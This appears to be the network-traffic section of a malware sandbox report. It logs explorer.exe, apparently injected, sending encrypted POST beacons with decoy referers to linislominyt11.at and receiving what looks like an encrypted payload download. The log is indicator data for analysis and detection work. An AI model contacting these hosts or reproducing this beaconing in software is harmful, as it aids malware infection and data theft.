Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49725	222.232.238.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:54:35.686816931 CEST	11841	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://egouvxt.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 178 Host: linislominyt11.at
Aug 30, 2022 15:54:35.686975002 CEST	11841	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 ba 8a 14 62 cc d6 4f 96 96 a6 1d a9 Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bOn&.Zr^LMC=lC8a4vXqx2#\.9?SuTQ
Aug 30, 2022 15:54:36.348674059 CEST	11842	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://egouvxt.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 178 Host: linislominyt11.at Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 ba 8a 14 62 cc d6 4f 96 96 a6 1d a9 e6 b2 6e c2 b7 fb 26 ec e3 9b ed 96 96 18 bf 2e 5a bf a2 72 5e f6 de 0a 4c 4d b3 0b eb 43 3d e2 bd 6c 81 04 43 38 61 89 0f ce be fd ff e7 9c ac f2 34 76 95 58 ad af f7 8e 91 90 c2 71 16 08 f7 80 a0 78 e9 ab 95 0a 32 c5 d9 c9 dd ee 23 5c b9 e0 c4 91 d4 2e 7f 39 3f 53 dd e8 75 54 c9 51 82 Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bOn&.Zr^LMC=lC8a4vXqx2#\.9?SuTQ
Aug 30, 2022 15:54:37.178668022 CEST	11842	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 30 Aug 2022 13:54:36 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49726	41.41.255.235	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:54:37.658152103 CEST	11843	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iltfh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 184 Host: linislominyt11.at
Aug 30, 2022 15:54:37.660006046 CEST	11843	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bb 8a 14 62 cd d6 4f 96 83 db 29 cf Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bO)\|g&=xepNfVzp/}+3_\|(=$n$O+F6l$&\2:{8
Aug 30, 2022 15:54:37.757872105 CEST	11844	IN	HTTP/1.1 307 Temporary Redirect Location: http://megaplusredirection.tedata.net/VDSL-Redirection_100.html Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49727	213.158.173.252	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:54:37.967067957 CEST	11844	OUT	POST /VDSL-Redirection_100.html HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iltfh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 184 Host: megaplusredirection.tedata.net
Aug 30, 2022 15:54:37.967828035 CEST	11845	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bb 8a 14 62 cd d6 4f 96 83 db 29 cf Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bO)\|g&=xepNfVzp/}+3_\|(=$n$O+F6l$&\2:{8
Aug 30, 2022 15:54:38.050842047 CEST	11846	IN	HTTP/1.1 405 Method Not Allowed Allow: GET, HEAD, OPTIONS, TRACE Content-Type: text/html Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Tue, 30 Aug 2022 14:02:38 GMT Content-Length: 1293 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 35 20 2d 20 48 54 54 50 20 76 65 72 62 20 75 73 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 67 65 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 35 20 2d 20 48 54 54 50 20 76 65 72 62 20 75 73 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 67 65 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 70 61 67 65 20 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>405 - HTTP verb used to access this page is not allowed.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>405 - HTTP verb used to access this page is not allowed.</h2> <h3>The page
Aug 30, 2022 15:54:38.050895929 CEST	11846	IN	Data Raw: 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 20 62 65 63 61 75 73 65 20 61 6e 20 69 6e 76 61 6c 69 64 20 6d 65 74 68 6f 64 20 28 48 54 54 50 20 76 65 72 62 29 20 77 61 73 20 Data Ascii: you are looking for cannot be displayed because an invalid method (HTTP verb) was used to attempt access.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49728	222.232.238.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:54:38.398379087 CEST	11847	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://voigutoj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 111 Host: linislominyt11.at
Aug 30, 2022 15:54:38.398408890 CEST	11847	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b8 8a 14 62 cd d6 4f 96 89 b5 4e cf Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bON\|.[bfV\
Aug 30, 2022 15:54:39.489885092 CEST	11849	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 30 Aug 2022 13:54:39 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 e1 8e e2 e3 0b 73 fd 08 d8 a1 5b 1d 69 07 04 66 d5 e7 62 38 e2 2b 47 68 b3 14 1d 81 a7 ee 90 63 fa cf bb 77 d2 90 f6 2f 25 4f a6 9e 75 40 35 18 2c fd 8c 81 f3 41 34 a3 42 ea 3d 2d 59 cd 3d 3b c4 14 89 a6 ba a6 b5 95 ff 9e b1 af 02 93 4b 62 96 5c 96 a0 10 ea 40 81 e0 62 7b a9 af 51 b8 22 86 ad 90 60 b2 85 30 16 b2 84 f4 17 ec b4 73 6f 73 af f2 ad 21 ce 86 2c d5 fd 9e 7b 6c 1d c8 8e c8 25 78 10 a5 9f f1 f4 a9 6d ee 06 07 7c 28 08 43 ce ba 83 8c 59 18 e2 f2 b8 fb 19 a7 8e c1 6c 6a bb a8 09 c0 eb ec 69 7c a4 68 53 71 d7 21 7d 91 9d f0 00 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 2e 00 f7 ff 34 8c 53 db c5 aa 1e 70 bf 1e e1 92 24 08 4f c5 e3 a1 c9 80 6a 7f d7 fd 69 79 1c 17 7e 0f bb 9a a5 46 c9 a0 e2 a9 dd 7a 0d 80 4e 19 e0 fc 90 a9 18 1a b5 96 be 35 51 61 9a c4 3e 7c 8d 28 c8 48 6b a1 c6 4a 9f 03 fd ec 9e aa 7b ac 87 0f a7 61 0d d0 5d bf 46 34 fd f8 10 6c 33 2c 29 7c 1a 8d c7 ed e4 0e a4 eb 6e 71 eb 90 f5 1a 68 9b 4a d8 09 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 26 b4 f3 a7 3b 2a b9 72 6e d5 23 51 72 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 81 a2 d6 27 5c 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 49 f9 7d b1 d5 32 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 41 b7 ae 51 46 28 e7 5b be e6 ae 1e 26 6d 11 ee c3 0e 52 a3 4c 0d 85 1f d4 5c 68 91 9c 29 06 f1 2c 5e ae 03 7b e5 1f 84 88 0f 74 fe 64 d8 d9 b0 7e 90 89 8a cd 34 7a 74 79 f0 7d 43 cc 69 8e 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 41 7a 17 68 fc ca 27 6b b1 a1 aa 7a 0f 09 69 e3 cd a0 cf 37 00 70 e1 1c c9 50 e3 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 0d a6 70 14 2d 82 c8 f9 02 0f 0f ca a6 c3 25 2e 9f e6 d7 ec 35 88 c3 a7 0d c8 d3 d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 00 aa ae 48 ef b6 d2 41 46 7d da a9 20 ef c8 2f cb 62 10 e8 8b 33 1e ac 18 c8 6e b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 a9 c1 ea de 3d 9a dd 20 2a 82 f0 73 95 cb d9 ed 07 22 4b dc 1a 0e 8b 18 57 a1 18 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 16 60 de dc 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 01 28 2b 77 33 c3 00 45 3d 79 24 0d 1e eb 67 f9 7d d8 ef fe cd f0 a8 01 3f 26 58 c5 07 1f ad d6 46 43 7c 20 4b b2 cf dd a9 8c 29 02 3d 89 31 99 a5 13 01 6e 01 2e 10 72 c8 ad f4 ae e4 47 29 fb d8 a7 22 40 42 c1 6f 02 89 cc 05 81 55 0c e3 56 f6 a8 b4 f3 5b 11 8f 41 bd 0a 29 78 87 9b 68 ca 4b c2 7b 28 b0 cf bb 66 56 9a 3c 5c e3 9c 17 6b 18 67 cd d2 f3 bb 75 e0 91 ce e0 ae 08 4b 84 6e 25 2f 74 4d ab 61 98 4b 24 5b cc ba 0f 14 78 c5 8a d3 0e 3a 03 2a 79 2b 0d 8f 3d ef a2 86 89 Data Ascii: `@0,xO}q4 IJ%9Wd8IkDJ8P>s[ifb8+Ghcw/%Ou@5,A4B=-Y=;Kb\@b{Q"`0sos!,{l%xm\|(CYlji\|hSq!}R+{.4Sp$Ojiy~FzN5Qa>\|(HkJ{a]F4l3,)\|nqhJO;yLu&;rn#Qr1yr+Lc'\<'i3FHU=hU@Wd{9f(B@w=fI}2QpKk^NTUAQF([&mRL\h),^{td~4zty}Cibz+Azh'kzi7pPRH:M?~p-%.5_)CCUb:HAF} /b3nR= s"KW}B.'<B`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=(+w3E=y$g}?&XFC\| K)=1n.rG)"@BoUV[A)xhK{(fV<\kguKn%/tMaK$[x:y+=
Aug 30, 2022 15:54:39.489960909 CEST	11850	IN	Data Raw: f5 11 dc 4f 59 9a 5b 85 5c 42 41 eb 60 fa 12 37 8e dd 28 81 41 78 3d 65 43 32 c0 36 6d c1 db dc d1 29 20 4d 9d 15 ac 25 63 6f 7d 54 5a 84 d0 3e f5 c6 89 99 11 85 1b 9a 32 04 5c 41 13 9c c6 2f a8 f3 d7 e1 1c 70 84 d8 c0 e4 93 c8 f6 47 b2 3c 43 c5 Data Ascii: OY[\BA`7(Ax=eC26m) M%co}TZ>2\A/pG<C4,um\og~$zX9;67=74J!YAPG6/<C1t7RJu!]P\0=Ef1HWA{d5 w[PL,_
Aug 30, 2022 15:54:39.490031958 CEST	11852	IN	Data Raw: df b0 2a f8 c3 0e 9f bc 5d fb ba 8d 6d 19 ff 43 07 a2 76 bf f9 32 0f 43 a8 d0 c8 38 a3 b8 c1 6b 53 cd 2a 1d 2d 60 22 69 4b 9e 36 c6 b9 40 95 da 04 4c b6 8f 37 24 c3 13 d5 27 cc 3b b6 73 32 99 7d 9a da 48 e9 61 fa 68 23 e0 0e 12 35 c6 56 0d f4 a5 Data Ascii: ]mCv2C8kS-`"iK6@L7$';s2}Hah#5VhEH hatw-s="R#.H5zKBNc-;g4L^^^H#n8?*C;]7FMS1`=52rOlPy<?!a)+
Aug 30, 2022 15:54:39.490083933 CEST	11853	IN	Data Raw: 17 e0 1d 7e 10 50 9e 32 ac dc 00 8b 66 3d 15 63 ca 68 69 cc c7 00 e8 30 36 5e c5 77 61 4b d2 d8 3d d7 af 31 7b 12 23 fc 5b 7d 00 4e 4f 16 ba ed d3 b6 e0 1c f1 01 ea 2d 53 8a 4f 9e b7 4c 78 7f be 56 87 e0 41 e8 b4 e9 fd 64 87 7d f6 6a 8d 80 05 5a Data Ascii: ~P2f=chi06^waK=1{#[}NO-SOLxVAd}jZ#D^,p1 O5/G\|&<9UG7RJ64A>k`}yeMdb26lP:W6d.5u\{\@qecSN;~]iyte;
Aug 30, 2022 15:54:39.490151882 CEST	11854	IN	Data Raw: 7b c7 2f 09 1a 4e ef 26 fd a7 2a 1d 47 8e 44 5e 5b 9a 9e 74 0f 41 b3 c2 cb d5 40 8a 6a 4f b0 ad ba 25 1f b7 b8 05 db 6e 86 03 db 18 1b fa 2a 3d d5 59 c2 66 3e c4 b6 0f 37 86 25 eb 34 2c 83 a4 10 9a 1e be ea 5d e4 dd 96 08 06 81 37 16 31 78 09 e4 Data Ascii: {/N&GD^[tA@jO%n=Yf>7%4,]71xb,%xg%E:rXpcxuu6s^VuEe?Ccjh,>64Of>uXu{)\MVSdkjn>0w>p0FHgY
Aug 30, 2022 15:54:39.490226030 CEST	11856	IN	Data Raw: f4 ed c3 98 57 0c d0 8b 7d 51 30 aa d8 56 77 b3 20 c4 48 5b 2e 54 75 f4 e8 1d 4c e0 21 a9 6c 3e 8a fe 4e e9 e3 06 50 71 6f c8 e1 d1 b7 09 4f 3a 58 68 ca 45 e8 02 05 21 e5 64 70 ba 8a ad fa b0 a9 43 72 03 95 6e 6c 00 fd b4 1a da 83 33 06 37 03 f1 Data Ascii: W}Q0Vw H[.TuL!l>NPqoO:XhE!dpCrnl37I{u8j$/?vSf"@#n''-'HFk%g<-O1v/1kx~_3$E1NI0oD\|#UAUI(ooW9Q`?/d
Aug 30, 2022 15:54:39.490298033 CEST	11857	IN	Data Raw: 6a c0 ca ba 65 48 0f ce 59 69 80 ab 9b 46 9c 44 e4 2c d3 cd 2b f8 fd 31 df 25 83 aa 1c d5 07 76 d8 15 66 09 dc 8a 14 68 92 17 66 2b 58 21 18 a9 84 e8 70 20 55 d5 23 c1 37 06 82 5a 07 e1 4f f8 7b 21 f8 ae 39 47 53 cf 85 4a 3b 26 90 e8 90 38 72 03 Data Ascii: jeHYiFD,+1%vfhf+X!p U#7ZO{!9GSJ;&8r\|2{]9_@'_fDZXwA\-Y_7caxE:h>[q%&ZYZRO<&W1s_[jNv1}ghIIk"g:Y'
Aug 30, 2022 15:54:39.490408897 CEST	11859	IN	Data Raw: 73 ce a0 7e cd ea ea ed 9b 36 3e e2 54 a5 65 1d cd b3 c8 6c 08 24 f9 40 58 e3 a7 25 47 06 18 ad fb ca 94 f3 49 b0 9e 66 c9 f2 bb f4 84 a1 10 82 40 d9 5f 14 5c 58 34 34 53 72 fc 99 1f c6 8e c5 58 7f e2 b4 43 44 f6 9c 94 b7 57 47 1b 17 fb f8 74 f4 Data Ascii: s~6>Tel$@X%GIf@_\X44SrXCDWGte`l({HpXT8lbdo4:B,jf0#;4c:n"j`uP]O+_S97E<6`C-O`Y#X3qeH\^'
Aug 30, 2022 15:54:39.490514040 CEST	11860	IN	Data Raw: ef 8f cd 56 96 6e e5 b5 84 df a5 03 c8 1d 42 28 b8 bb 29 d0 09 a3 4d fd 53 39 c5 7f 59 af 7a 65 8b 0e 4b ef 75 15 f7 50 95 39 3c 3b 88 6d c7 c7 dc 1e ce 95 25 fb d8 f9 3e f2 46 0e fb df bb 47 5c 2d 47 e5 8b 55 56 56 7b 97 00 4f ec fd f8 0c 42 8b Data Ascii: VnB()MS9YzeKuP9<;m%>FG\-GUVV{OBGyG8?nbjnM#D+;H"t'bwl,StaXEO=)7<{>.yczG]$0cz_!Cw"z\|O"1v5R'A]Kk
Aug 30, 2022 15:54:39.490566015 CEST	11861	IN	Data Raw: 4f 4b a0 ed 13 72 3b e2 51 34 48 f9 cf 05 2c 60 e7 a9 4d 61 8b c4 df 1f d3 ec f4 38 cf 75 d2 ad 6d 19 07 93 40 8f ef c4 fe ab 82 2f 59 9b cb d2 4c 0c f7 ff 0b 52 63 2a 54 6c 26 6c 74 0a 76 b9 3a 5f 36 c0 2a ee 9c ac e4 d3 c7 d8 94 da 7b a0 9a 8f Data Ascii: OKr;Q4H,`Ma8um@/YLRcTl&ltv:_6{S!LyRTpuTd'c,hN24xJ3{mS^D~m;gp!$`@TJAag\%AH/aZWEL)Lw'
Aug 30, 2022 15:54:39.790451050 CEST	11863	IN	Data Raw: 74 d1 87 3e fe 8f db c9 db de 81 a6 85 f3 ba 16 f8 00 f3 a3 2e c7 e9 d5 58 b4 52 f9 96 9e 12 90 78 16 3e a9 91 33 15 a7 92 de 31 ee 6e ce 83 30 fa 93 ea 39 fa 1b ca 01 c9 57 fd 09 16 27 2e 20 33 5b 44 65 4a 22 52 1a 79 ea 35 6f 12 37 a9 16 38 09 Data Ascii: t>.XRx>31n09W'. 3[DeJ"Ry5o78s$\|NlR,58)H.Rk`Q9LXC<?FyNhXt(YGb.Ic3W 6gEk\|}H[WHi%gN[S[I8:`

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49729	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:54:46.347052097 CEST	13626	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wlynp.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 315 Host: linislominyt11.at
